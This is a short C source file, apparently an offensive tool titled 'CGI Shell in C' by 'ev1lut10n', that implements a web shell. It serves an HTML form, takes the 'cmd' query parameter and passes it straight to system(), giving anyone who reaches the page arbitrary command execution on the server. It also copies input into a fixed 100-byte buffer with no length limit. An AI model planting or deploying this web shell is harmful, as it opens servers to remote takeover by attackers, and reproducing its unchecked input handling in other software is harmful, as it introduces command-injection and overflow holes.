/**
CGI Shell in C
made by : ev1lut10n
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void kotak_cmd()
{
printf("%s","<br><form action=?");
printf("%s","method=get>");
printf("%s","shell command : <input type=text");
printf("%s"," name=cmd>");
printf("%s","<input type=submit");
printf("%s"," value=execute>");
printf("%s","</form>");
}
static void set_heder()
{
 printf("%s%c%c\n","Content-Type:text/html;charset=iso-8859-1",13,10);
}


char *replace(char *st, char *orig, char *repl) {
 static char buffer[4096];
 char *ch;
 if (!(ch = strstr(st, orig)))
  return st;
 strncpy(buffer, st, ch-st);
 buffer[ch-st] = 0;
 sprintf(buffer+(ch-st), "%s%s", repl, ch+strlen(orig));
 return buffer;
 }

int main(void)
{
char *data;
char cmd[100];
char perintah[256]="";
set_heder();
kotak_cmd();
data = getenv("QUERY_STRING");
sscanf(data,"cmd=%s",cmd);
printf("\ncmd: |%s|\n",cmd);
strcat(perintah,cmd);
       printf("\nperintah: |%s|\n",perintah);
       system(perintah);

return 0;
}